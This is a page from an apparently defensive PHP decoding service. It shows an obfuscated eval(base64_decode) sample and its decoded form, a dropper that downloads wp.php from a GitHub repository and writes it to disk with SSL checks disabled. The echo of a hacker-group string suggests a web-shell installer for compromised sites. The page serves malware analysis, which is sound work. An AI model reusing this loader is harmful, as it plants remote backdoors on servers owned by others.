Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('ZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CiAgICAgICAgJGZwID0gZm9wZW4oJG..
Decoded Output download
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(adminer('https://raw.githubusercontent.com/androxgh0st/just-for-fun/master/wp.php','wp.php')) {
echo "wibuheker.org";
} else {
echo "localhost";
}
Did this file decode correctly?
Original Code
eval(base64_decode('ZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CiAgICAgICAgJGZwID0gZm9wZW4oJGlzaSwgInciKTsKICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7CiAgICAgICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICBvYl9mbHVzaCgpOwogICAgICAgIGZsdXNoKCk7Cn0KaWYoYWRtaW5lcignaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2FuZHJveGdoMHN0L2p1c3QtZm9yLWZ1bi9tYXN0ZXIvd3AucGhwJywnd3AucGhwJykpIHsKICAgICAgICBlY2hvICJ3aWJ1aGVrZXIub3JnIjsKfSBlbHNlIHsKICAgICAgICBlY2hvICJsb2NhbGhvc3QiOwp9'));
Function Calls
base64_decode | 1 |
Stats
MD5 | 3be5ed02585cda64d087f7a6112b87ab |
Eval Count | 1 |
Decode Time | 88 ms |